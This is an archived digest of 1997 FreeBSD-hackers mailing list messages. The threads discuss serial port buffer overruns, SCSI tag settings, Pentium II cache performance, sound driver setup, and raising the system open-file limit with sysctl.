From owner-freebsd-hackers Sun Aug 3 01:52:52 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id BAA14348 for hackers-outgoing; Sun, 3 Aug 1997 01:52:52 -0700 (PDT) Received: from genesis.atrad.adelaide.edu.au (genesis.atrad.adelaide.edu.au [129.127.96.120]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id BAA14341 for ; Sun, 3 Aug 1997 01:52:48 -0700 (PDT) Received: (from msmith@localhost) by genesis.atrad.adelaide.edu.au (8.8.5/8.7.3) id SAA13473; Sun, 3 Aug 1997 18:22:34 +0930 (CST) From: Michael Smith Message-Id: <199708030852.SAA13473@genesis.atrad.adelaide.edu.au> Subject: Re: tty-level buffer overflows In-Reply-To: <19970803025730.57257@crh.cl.msu.edu> from Charles Henrich at "Aug 3, 97 02:57:30 am" To: henrich@crh.cl.msu.edu (Charles Henrich) Date: Sun, 3 Aug 1997 18:22:34 +0930 (CST) Cc: tom@sdf.com, freebsd-hackers@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL28 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Charles Henrich stands accused of saying: > > > Generally the above is caused by a poor UART, and and an overloaded CPU. > > Not in this case, its a 16550A, on a 486/66 doing absolutely nothing except > trying to do filetransfer over the serial port with a custom app I wrote.. And of course if you bothered to read the sio(4) manpage it would tell you what the error message means. Or if you'd mentioned that you're using a custom appliction talking to the serial port it might have been possible to give you an answer sooner. Your application is busted; data is arriving faster than your app is reading it, and the kernel has run out of patience and started throwing the data away. > Charles Henrich Michigan State University henrich@msu.edu -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Sun Aug 3 02:07:48 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA15234 for hackers-outgoing; Sun, 3 Aug 1997 02:07:48 -0700 (PDT) Received: from smtp1.xs4all.nl (smtp1.xs4all.nl [194.109.6.51]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA15223 for ; Sun, 3 Aug 1997 02:07:42 -0700 (PDT) Received: from asterix.xs4all.nl (root@asterix.xs4all.nl [194.109.6.11]) by smtp1.xs4all.nl (8.8.6/XS4ALL) with ESMTP id LAA00696 for ; Sun, 3 Aug 1997 11:07:40 +0200 (MET DST) Received: from plm.xs4all.nl (uucp@localhost) by asterix.xs4all.nl (8.8.6/8.8.6) with UUCP id LAA04491 for freebsd-hackers@freebsd.org; Sun, 3 Aug 1997 11:07:11 +0200 (MET DST) Received: (from plm@localhost) by plm.xs4all.nl (8.8.5/8.7.3) id CAA12763; Sun, 3 Aug 1997 02:11:58 +0200 (MET DST) To: freebsd-hackers@freebsd.org Subject: What is a good SCSI tags value? From: Peter Mutsaers Date: 03 Aug 1997 02:11:58 +0200 Message-ID: <8767toi0q9.fsf@plm.xs4all.nl> Lines: 15 X-Mailer: Gnus v5.4.25/Emacs 19.34 Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I noticed (though LINT and ncrcontrol) that I can set the number of tags used. I have a NCR board and used to have the FAILSAFE option set. This reduces SCSI_NCR_DFLT_TAGS to 0. One of my 3 disks seems to support tags. Now I wonder: - What exactly are these tags? I think it is something like number of concurrent disk operations, is that correct? - I can set it to 16, maximum. What is a good value? -- /\_/\ ( o.o ) Peter Mutsaers | Abcoude (Utrecht), | Trust me, I know ) ^ ( plm@xs4all.nl | the Netherlands | what I'm doing. From owner-freebsd-hackers Sun Aug 3 02:24:20 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA15868 for hackers-outgoing; Sun, 3 Aug 1997 02:24:20 -0700 (PDT) Received: from bugs.us.dell.com (bugs.us.dell.com [143.166.169.147]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id CAA15863 for ; Sun, 3 Aug 1997 02:24:17 -0700 (PDT) Received: from ant.us.dell.com (ant.us.dell.com [198.64.66.34]) by bugs.us.dell.com (8.6.12/8.6.12) with SMTP id EAA02546; Sun, 3 Aug 1997 04:21:59 -0500 Message-Id: <3.0.2.32.19970803041901.006a69e4@bugs.us.dell.com> X-Sender: tony@bugs.us.dell.com X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.2 (32) Date: Sun, 03 Aug 1997 04:19:01 -0500 To: Terry Lambert From: Tony Overfield Subject: Re: Pentium II? Cc: hackers@FreeBSD.ORG In-Reply-To: <199708022310.QAA00461@phaeton.artisoft.com> References: <3.0.2.32.19970802023853.0069c4c4@bugs.us.dell.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk At 04:10 PM 8/2/97 -0700, Terry Lambert wrote: >You guys didn't call them that, but the memory bus was running at 33MHz; >that's "clock doubled" in my book. > >I have a friend who had one until the Pentium math bugs reared their >ugly heads (he was an IDE weenie, so he didn't care that PCI bus >mastering failed on the thing). Can you remember a specific model number? If so, I can reach up onto my shelf and pull one of them down and measure it. I doubt it, but maybe I measured it wrong the first time around. >> Due to that bug, that version of the Saturn chipset does not support >> write-back L2 caching and it is therefore configured by the BIOS to >> use the L2 cache in write-through mode, though the L1 cache is always >> write-back. The missing trace is not used or needed when the L2 >> cache is in write-through mode. > >Unless a DMA initiated by a controller rather than the host occurs. >Check the -hackers list archives for postings on disabling the L1 >and L2 cache on these monstrosities... I tried searching -hackers ("Dell AND disabl* AND cach*") and only found one claim (yours, BTW) that this bug exists. Interestingly, the only reply seemed to disagree with your claim. Perhaps you can offer some better search keywords. >Maybe not; maybe the memory was just jumpered for an extra wait state; >whatever; memory access was half as fast as it should have been in a >reasonable implementation. Well, that's quite a bit different, but still apparently wrong. It is true that the very first Pentium-60 systems had a write-through L2 cache which makes memory writes appear slower, but it also eliminates the DMA problem you mentioned. >> >Just as my 486/50 kicks butt over the same chips. >> >> I doubt this, unless you're "stacking the deck" in some perverse >> way, or you're simply dreaming. > >Of course I am, if an I/O intensive benchmark is "stacking the deck" >and a CPU intensive benchmark is somehow "a good idea". I have no problem with I/O intensive benchmarks, but improperly interpreting the results and factoring in bogus assumptions should be avoided, if possible. Don't forget than Pentium memory is 64 bits wide and 486/50 memory is 32 bits wide. Thus, your fancy 486/50 memory bus cannot help to explain your faster I/O claims, so maybe you've got a "magic I/O bus." >I'm doing disk I/O, of course, and I am overclocking the EISA bus on >the machine to 50MHz instead of 2x25. 50MHz EISA transfers data faster >than 30MHz PCI... or 33MHz. Wow! You do have a magic bus. Do you expect me to believe that you run your EISA bus at 600% of the maximum speed of 8.33 MHz!!!??? There's never been an EISA bus that is faster than a PCI bus. >8-). Oh, I see, you're just kidding.... ;-) - Tony From owner-freebsd-hackers Sun Aug 3 02:25:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA15928 for hackers-outgoing; Sun, 3 Aug 1997 02:25:09 -0700 (PDT) Received: from bugs.us.dell.com (bugs.us.dell.com [143.166.169.147]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id CAA15918 for ; Sun, 3 Aug 1997 02:25:05 -0700 (PDT) Received: from ant.us.dell.com (ant.us.dell.com [198.64.66.34]) by bugs.us.dell.com (8.6.12/8.6.12) with SMTP id EAA02549; Sun, 3 Aug 1997 04:22:00 -0500 Message-Id: <3.0.2.32.19970803041915.006a69e4@bugs.us.dell.com> X-Sender: tony@bugs.us.dell.com X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.2 (32) Date: Sun, 03 Aug 1997 04:19:15 -0500 To: Curt Sampson From: Tony Overfield Subject: Re: Pentium II? Cc: FreeBSD Mailing List , Tom Samplonius , hackers@FreeBSD.ORG In-Reply-To: References: <3.0.2.32.19970802024954.006dfb1c@bugs.us.dell.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk At 03:10 PM 8/2/97 -0700, Curt Sampson wrote: > >On Sat, 2 Aug 1997, Tony Overfield wrote: > >> Since the hit rate of the L1 cache is usually much higher than that of the L2 >> cache, the effect of the slower L2 cache in the Pentium II is usually offset >> by the beneficial effect of not having to access it. So even at the same >> clock rate, the Pentium II can run faster than the Pentium Pro. > >Do you have any benchmarks that indicate this? I think many of the benchmarks indicate this. The benchmarks show, when run at the same clock frequency, that the Pentium II runs at speeds comparable to the Pentium Pro, even though the L2 cache is running at half-speed. Many folks had claimed that the Pentium II would be much slower because of the half-speed L2 cache. It should be easy to agree that larger L1 caches have higher hit rates. In turn, higher L1 cache hit rates reduce the demand on the L2 cache. Whenever the Pentium II is hitting in the L1 cache strictly due to its larger size, it will be faster. Whenever the Pentium II misses the L1 cache, it will be slower. >Or are you just dreaming? I sure hope not. I wouldn't want to waste a dream on this stuff. :-) - Tony From owner-freebsd-hackers Sun Aug 3 02:25:35 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA15970 for hackers-outgoing; Sun, 3 Aug 1997 02:25:35 -0700 (PDT) Received: from bugs.us.dell.com (bugs.us.dell.com [143.166.169.147]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id CAA15962 for ; Sun, 3 Aug 1997 02:25:30 -0700 (PDT) Received: from ant.us.dell.com (ant.us.dell.com [198.64.66.34]) by bugs.us.dell.com (8.6.12/8.6.12) with SMTP id EAA02552; Sun, 3 Aug 1997 04:22:01 -0500 Message-Id: <3.0.2.32.19970803042153.006a69e4@bugs.us.dell.com> X-Sender: tony@bugs.us.dell.com X-Mailer: QUALCOMM Windows Eudora Light Version 3.0.2 (32) Date: Sun, 03 Aug 1997 04:21:53 -0500 To: sthaug@nethelp.no From: Tony Overfield Subject: Re: Pentium II? Cc: freebsd@atipa.com, tom@sdf.com, hackers@FreeBSD.ORG In-Reply-To: <1942.870514774@verdi.nethelp.no> References: <3.0.2.32.19970802024954.006dfb1c@bugs.us.dell.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk At 11:39 AM 8/2/97 +0200, sthaug@nethelp.no wrote: >*Can run* being the operative phrase here. According to Intel's Web site: > >PPro-200, 256 KB L2 cache 8.20 SPECint95 >PII-233, 512 KB L2 cache 9.49 SPECint95 > >So 15.7% higher SPECint95 at 16.5% higher clock rate. Personally, I don't >want to draw any conclusions at all from these numbers - they are so very >close. Right. It *can run* faster. Sometimes it's faster, sometimes it's slower. It depends on the cache hit rates. The old saw is that the Pentium Pro is faster "clock-for-clock" than the Pentium II. That may often be true for "clockrate-for-clockrate" comparisons measured over a time period, but it is not generally true on a "clockcycle-for-clockcycle" basis. I was just trying to point out that important difference. - Tony From owner-freebsd-hackers Sun Aug 3 02:29:51 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id CAA16149 for hackers-outgoing; Sun, 3 Aug 1997 02:29:51 -0700 (PDT) Received: from www2.shoppersnet.com (shoppersnet.com [204.156.152.112]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id CAA16131 for ; Sun, 3 Aug 1997 02:29:40 -0700 (PDT) Received: (from hlew@localhost) by www2.shoppersnet.com (8.8.5/8.8.5) id CAA11802; Sun, 3 Aug 1997 02:32:59 -0700 (PDT) Date: Sun, 3 Aug 1997 02:32:59 -0700 (PDT) From: Howard Lew To: Amancio Hasty cc: Luigi Rizzo , hackers@FreeBSD.ORG Subject: Re: device close behaviour - a question In-Reply-To: <199708030700.AAA00271@rah.star-gate.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Hi guys! Okay, I'm testing out Luigi's snd970731 driver... Is this setup correct in the kernel config? controller snd0 device pcm0 at isa ? port? tty irq 5 drq 1 flags 0x9 vector pcmintr #device midi0 at isa ? port? tty flags F #device synth0 at isa ? port? tty flags F dmesg probe shows: pcm0 at 0xffff irq 5 drq 1 mem 0x00000000 flags 0x00000009 en 1 confl 0 no address supplied, try default 0x0530 I/O address inactive (ff), try pseudo_mss no address supplied, try default sb_reset_dsp failed pcm0 not found at 0xffffffff Actual Card is: Sound Origins 32 DSP Wavetable 3D PNP ISA OPTI925 Chipset Supports SB Pro, MSS/WSS, Roland Sound Canvas Win95 configures it as: MSS/WSS 0x530 irq 5 DMA 0/1, irq 300 2/9 OS: FreeBSD 2.2.2-RELENG #1 (7/13/97) > > Hi, > > guspnp14 is based upon the linux sound driver 3.5 and is fully > compliant with the linux sound driver 3.5,i.e., I didn't alter > its functionality. The name guspnp right now is a little misleading > because the driver works with different sound cards. > For instance, it works with the sb16 pnp, pas 16, gus pnp pro, > audiotrix pro, and gus max. It is supposed to work with the awe however > I have not gotten any report lately. Preliminary PnP was added for just the > gus pnp pro. The driver also went thru a mild code clean up. > > While the guspnp14 is stabilized for cards other than the guspnp, > Luigi started a badly needed rewrite of the sound driver mostly > because the existing guspnp14 or linux sound driver 3.5 we find > overly complex and a general mechanism for PnP sound cards needs > to be implemented. > > So in a nutshell, Luigi is spearheading the new sound driver project > for FreeBSD and guspnp14 is a stop gap till we managed to complete > the new sound driver. As for the stability of guspnp14 is pretty > rock solid right now however is very difficult to maintain. > > guspnp14 doesn not offer the ability to open a sound card multiple > times it does offer, for the guspnp, full duplex audio using a > single file descriptor. > > > The isa_dmastatus comes in handy for cards that are ill behaved > or that for some reason the sound cards seems to miss interrupts. > Haven't run into this sort of problem with the gus however it > has surfaced a lot with the sb16 pnp. > > > To download the most recent version of the guspnp series of sound driver: > ftp://rah.star-gate.com/pub/guspnp.tar.gz > > Luigi's latest snapshot is at: > > http://www.iet.unipi.it/~luigi/snd970731.tgz > > Folks, now is a good time to join the sound driver project! > So subscribe to the multimedia mailing list and hack away 8) > > Regards, > Amancio > > >From The Desk Of Howard Lew : > > > > I had a chance to play around with the sound code. I like the driver > > documentation a lot. > > > > Is the guspnp14 stuff much different from Luigi's snd970726 code? > > > > Hmmm... Is the isa_dmastatus really used at this point? I looked around > > the isa code trying to patch it up to compile, but I couldn't find a > > function related to it. > > > > Or was this the question below? > > > > > > > > > > I am having a problem related to the having multiple (actually, > > > 2) open descriptors on the same character device. More specifically, > > > I notice that only the last close does actually invoke the device > > > close routine. > > > > > > >From the code in /sys/miscfs/specfs/spec_vnops.c, function > > > spec_close(), this behaviour seems intentional. But can someone > > > explain why this is done and where this is useful ? > > > I do not dare to suggest that this be changed since I guess it would > > > break many things... or not ? > > > > > > In my case, I have implemented the ability of having up to two open > > > descriptors on full-duplex audio devices, one for read and one for > > > write. The above behaviour does not let me record that a channel > > > has been freed (this I would have done using the close() call), > > > and complicates life to the driver since it has to guess what is > > > happening. > > > > > > I do have locks on concurrent operations of the same type, and have > > > implemented some hacks to (more or less) control that proper device > > > usage is done. However, these are hacks, and the lack of information > > > can cause suboptimal behaviours. As an example, due to the missing > > > close I cannot decide to stop a DMA read since I don't know if the > > > reading process has gone. > > > > > > Cheers > > > Luigi > > > -----------------------------+-------------------------------------- > > > Luigi Rizzo | Dip. di Ingegneria dell'Informazione > > > email: luigi@iet.unipi.it | Universita' di Pisa > > > tel: +39-50-568533 | via Diotisalvi 2, 56126 PISA (Italy) > > > fax: +39-50-568522 | http://www.iet.unipi.it/~luigi/ > > > _____________________________|______________________________________ > > > > > > > > > > > > > --------------------------------------------------------------------------- > > Shoppers Network (Support) AMD K5/K6s, Cyrix 6x86, Intel Pentiums/Pro > > Phone: (415) 759-8584 Email: howard@shoppersnet.com > > ==============================> WWW - http://www.shoppersnet.com > > ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ > > > > > > > --------------------------------------------------------------------------- Shoppers Network (Support) AMD K5/K6s, Cyrix 6x86, Intel Pentiums/Pro Phone: (415) 759-8584 Email: howard@shoppersnet.com ==============================> WWW - http://www.shoppersnet.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From owner-freebsd-hackers Sun Aug 3 03:17:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id DAA18006 for hackers-outgoing; Sun, 3 Aug 1997 03:17:53 -0700 (PDT) Received: from gnostic.cynic.net (gnostic.cynic.net [198.73.220.5]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id DAA17999 for ; Sun, 3 Aug 1997 03:17:48 -0700 (PDT) Received: from localhost ([[UNIX: localhost]]) by gnostic.cynic.net (8.8.5/8.6.12) with SMTP id DAA07064; Sun, 3 Aug 1997 03:17:05 -0700 (PDT) X-Authentication-Warning: gnostic.cynic.net: cjs owned process doing -bs Date: Sun, 3 Aug 1997 03:17:04 -0700 (PDT) From: Curt Sampson X-Sender: cjs@gnostic.cynic.net To: Tony Overfield cc: FreeBSD Mailing List , Tom Samplonius , hackers@FreeBSD.ORG Subject: Re: Pentium II? In-Reply-To: <3.0.2.32.19970803041915.006a69e4@bugs.us.dell.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 3 Aug 1997, Tony Overfield wrote: > I think many of the benchmarks indicate this. I wasn't interested in what you think as much as which particular benchmarks indicate this. Feel free to provide references. > It should be easy to agree that larger L1 caches have higher hit rates. Sure. But the L2 cache in the PPro is running at the same speed as the L1 cache in the PPro and the PII. Thus, I don't think that having twice the L1 cache is going to make a lot of difference. Feel free to show me the actual benchmarks that prove me wrong. cjs Curt Sampson cjs@portal.ca Info at http://www.portal.ca/ Internet Portal Services, Inc. `And malt does more than Milton can Vancouver, BC (604) 257-9400 To justify God's ways to man.' From owner-freebsd-hackers Sun Aug 3 07:37:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA26671 for hackers-outgoing; Sun, 3 Aug 1997 07:37:10 -0700 (PDT) Received: from punt-1.mail.demon.net (relay-14.mail.demon.net [194.217.242.138]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id HAA26664 for ; Sun, 3 Aug 1997 07:37:06 -0700 (PDT) Received: from leys.demon.co.uk ([194.222.64.103]) by punt-1.mail.demon.net id aa1310759; 3 Aug 97 7:20 BST Received: from ppp3.theleys.cambs.sch.uk ([10.0.3.201]) by hydrogen.theleys.cambs.sch.uk (8.7.5/8.7.3) with SMTP id HAA22569 for ; Sun, 3 Aug 1997 07:21:37 +0100 (BST) Date: Sun, 03 Aug 1997 07:26:20 +0100 (BST) From: Dr R D Gidden Subject: Net interface card To: hackers@freebsd.org Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=ISO-8859-1 X-Organization: The Leys School, Cambridge, CB2 2AD, UK X-Mailer: ANT RISCOS Marcel [ver 1.08] Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi! Is the NIC 'ANA6910FX' supported, if so, which driver? It's an Adaptec 100BaseFX PCI Fibre ST card - I need to go out on a multimode fibre link, and this seems cheaper than a UTP 100Mbit card + Media Converter. I dunno what chips it uses - I've asked Adaptec, but no reply as yet. Thanks. Bob. -- rdg@theleys.cambs.sch.uk (Dr R.D. Gidden) From owner-freebsd-hackers Sun Aug 3 07:38:28 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA26747 for hackers-outgoing; Sun, 3 Aug 1997 07:38:28 -0700 (PDT) Received: from necropolis.org ([207.66.220.160]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA26741; Sun, 3 Aug 1997 07:38:24 -0700 (PDT) Received: from localhost (edmond@localhost) by necropolis.org (8.8.5/8.8.5) with SMTP id HAA04733; Sun, 3 Aug 1997 07:34:35 -0700 (PDT) X-Authentication-Warning: necropolis.org: edmond owned process doing -bs Date: Sun, 3 Aug 1997 07:34:34 -0700 (PDT) From: "Andrew N. Edmond" X-Sender: edmond@necropolis.org To: questions@freebsd.org cc: hackers@freebsd.org Subject: Too many open files in System! Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I am writing a multithreaded application (using MIT pthreads 1.6) that MUST have thousands of open files, and nearly 4000 open sockets. I'm getting this error when I try to accept on this many sockets: error on accept: Too many open files in system I set CHILD_MAX and OPEN_MAX to 4098 in the kernel, and I can't find a way to get accept to open any more sockets. Any ideas? Andy ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: \-/ :::::::: Andrew N. Edmond - finger for PGP key :::::::::: \-/ /-\ :::::: ............ :::::: /-\ \-/ ::: edmond@lycaeum.org :::::: an1@anon.nymserver.com ::: \-/ /-\ : Director of the Lycaeum :: the Nymserver Administrator : /-\ \-/ ::: www.lycaeum.org :::::: www.nymserver.com ::: \-/ ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::: From owner-freebsd-hackers Sun Aug 3 08:22:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA28433 for hackers-outgoing; Sun, 3 Aug 1997 08:22:26 -0700 (PDT) Received: from crh.cl.msu.edu (crh.cl.msu.edu [35.8.1.24]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA28428 for ; Sun, 3 Aug 1997 08:22:22 -0700 (PDT) Received: (from henrich@localhost) by crh.cl.msu.edu (8.8.5/8.8.5) id LAA07649; Sun, 3 Aug 1997 11:21:47 -0400 (EDT) Message-ID: <19970803112147.21483@crh.cl.msu.edu> Date: Sun, 3 Aug 1997 11:21:47 -0400 From: Charles Henrich To: Michael Smith Cc: tom@sdf.com, freebsd-hackers@FreeBSD.ORG Subject: Re: tty-level buffer overflows References: <19970803025730.57257@crh.cl.msu.edu> <199708030852.SAA13473@genesis.atrad.adelaide.edu.au> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.80 In-Reply-To: <199708030852.SAA13473@genesis.atrad.adelaide.edu.au>; from Michael Smith on Sun, Aug 03, 1997 at 06:22:34PM +0930 X-Operating-System: FreeBSD 2.2.2-RELEASE X-PGP-Fingerprint: 1024/F7 FD C7 3A F5 6A 23 BF 76 C4 B8 C9 6E 41 A4 4F Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On the subject of Re: tty-level buffer overflows, Michael Smith stated: > > Not in this case, its a 16550A, on a 486/66 doing absolutely nothing > > except trying to do filetransfer over the serial port with a custom app I > > wrote.. > > And of course if you bothered to read the sio(4) manpage it would tell you > what the error message means. Or if you'd mentioned that you're using a Ooh, arent we high and mighty. I did read the man page, one line that says "The application is broken" is about as useless as it gets. As my original message said, I've waded through all the message archives searching for an anaswer, Im not about to waste peoples time without having spent a considerable amount of effort attempting to figure it out on my own. > Your application is busted; data is arriving faster than your app is reading > it, and the kernel has run out of patience and started throwing the data > away. Im afraid not, the application is a software Upload, with a singly byte ack every 2k, if the serial port cant handle that, theres a problem. I would presume that if the buffer is full, a write() should block. -Crh Charles Henrich Michigan State University henrich@msu.edu http://pilot.msu.edu/~henrich From owner-freebsd-hackers Sun Aug 3 08:47:50 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA29233 for hackers-outgoing; Sun, 3 Aug 1997 08:47:50 -0700 (PDT) Received: from federation.addy.com (federation.addy.com [207.239.68.2]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA29228; Sun, 3 Aug 1997 08:47:47 -0700 (PDT) Received: from localhost (fbsdlist@localhost) by federation.addy.com (8.8.5/8.6.12) with SMTP id LAA06028; Sun, 3 Aug 1997 11:47:44 -0400 (EDT) Date: Sun, 3 Aug 1997 11:47:44 -0400 (EDT) From: Cliff Addy To: "Andrew N. Edmond" cc: questions@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: Too many open files in System! In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Sun, 3 Aug 1997, Andrew N. Edmond wrote: > error on accept: Too many open files in system > > I set CHILD_MAX and OPEN_MAX to 4098 in the kernel, and I can't find a way > to get accept to open any more sockets. Any ideas? This seems to be a FAQ (Frequently Asked Question). Unfortunately, it seems to seems to also be a NAQ (Never Answered Question). I myself have asked it several times and the answers, involving CHILD_MAX and OPEN_MAX and limits, never work. Apparently, FreeBSD is too primitive to handle more than a few files at once. (please realize the above is an intentional goad to get SOMEONE to finally answer this. I love FreeBSD :) ) From owner-freebsd-hackers Sun Aug 3 09:31:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA01122 for hackers-outgoing; Sun, 3 Aug 1997 09:31:11 -0700 (PDT) Received: (from jmb@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA01116; Sun, 3 Aug 1997 09:31:08 -0700 (PDT) From: "Jonathan M. Bresler" Message-Id: <199708031631.JAA01116@hub.freebsd.org> Subject: Re: Pentium II? To: tony@dell.com (Tony Overfield) Date: Sun, 3 Aug 1997 09:31:07 -0700 (PDT) Cc: cjs@portal.ca, freebsd@atipa.com, tom@sdf.com, hackers@FreeBSD.ORG In-Reply-To: <3.0.2.32.19970803041915.006a69e4@bugs.us.dell.com> from "Tony Overfield" at Aug 3, 97 04:19:15 am X-Mailer: ELM [version 2.4 PL24] Content-Type: text Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk Tony Overfield wrote: > > At 03:10 PM 8/2/97 -0700, Curt Sampson wrote: > > > >On Sat, 2 Aug 1997, Tony Overfield wrote: > > > >> Since the hit rate of the L1 cache is usually much higher than that of > the L2 > >> cache, the effect of the slower L2 cache in the Pentium II is usually > offset > >> by the beneficial effect of not having to access it. So even at the same > >> clock rate, the Pentium II can run faster than the Pentium Pro. > > > >Do you have any benchmarks that indicate this? > > I think many of the benchmarks indicate this. The benchmarks show, when > run at the same clock frequency, that the Pentium II runs at speeds > comparable to the Pentium Pro, even though the L2 cache is running at > half-speed. Many folks had claimed that the Pentium II would be much > slower because of the half-speed L2 cache. oh? what is the size of your dataset? what is the data access pattern? without specifing these two items, i cant tell how your are using L1 and L2 cache. what we need is a benchmark that has a fixed data access pattern and known data set size. better yet would be one that starts with a very small data set and grows the data set till the computer starts using disk. a graph of the results would show the speed of the machine accross all its memory regimes. http://www.scl.ameslab.gov/scl/HINT/HINT.html jmb > > It should be easy to agree that larger L1 caches have higher hit rates. In > turn, higher L1 cache hit rates reduce the demand on the L2 cache. Whenever > the Pentium II is hitting in the L1 cache strictly due to its larger size, it > will be faster. Whenever the Pentium II misses the L1 cache, it will be > slower. > > >Or are you just dreaming? > > I sure hope not. I wouldn't want to waste a dream on this stuff. :-) > > - > Tony > > From owner-freebsd-hackers Sun Aug 3 10:20:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA03411 for hackers-outgoing; Sun, 3 Aug 1997 10:20:10 -0700 (PDT) Received: from dan.emsphone.com (dan@dan.emsphone.com [199.67.51.101]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA03348; Sun, 3 Aug 1997 10:20:01 -0700 (PDT) Received: (from dan@localhost) by dan.emsphone.com (8.8.6/8.8.6) id MAA19542; Sun, 3 Aug 1997 12:19:54 -0500 (CDT) Message-ID: <19970803121953.04717@dan.emsphone.com> Date: Sun, 3 Aug 1997 12:19:53 -0500 From: Dan Nelson To: Cliff Addy Cc: "Andrew N. Edmond" , questions@FreeBSD.ORG, hackers@FreeBSD.ORG Subject: Re: Too many open files in System! References: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.79e In-Reply-To: ; from "Cliff Addy" on Sun Aug 3 11:47:44 GMT 1997 X-OS: FreeBSD 2.2-970701-RELENG Sender: owner-freebsd-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In the last episode (Aug 03), Cliff Addy said: > On Sun, 3 Aug 1997, Andrew N. Edmond wrote: > > > error on accept: Too many open files in system > > > > I set CHILD_MAX and OPEN_MAX to 4098 in the kernel, and I can't > > find a way to get accept to open any more sockets. Any ideas? > > This seems to be a FAQ (Frequently Asked Question). Unfortunately, > it seems to seems to also be a NAQ (Never Answered Question). I > myself have asked it several times and the answers, involving > CHILD_MAX and OPEN_MAX and limits, never work. Apparently, FreeBSD > is too primitive to handle more than a few files at once. > > (please realize the above is an intentional goad to get SOMEONE to > finally answer this. I love FreeBSD :) ) CHILD_MAX and OPEN_MAX don't even affect this parameter; the systemwide maximum number of files 2 * (20 + 16 * maxusers), where maxusers is in your kernel config file. See /sys/compile/*/param.c for the details. You can change this particular parameter on the fly though. First see how many open files you already have; pstat -T will tell you how many how many files open and maximum you have in your system: 241/3240 files (in my case.) If you want to raise the limit at runtime, as root run "sysctl -w kern.maxfiles=8192" or whatever (you can put this in rc.local if you don't want to recompile the kernel). I was talking on IRC 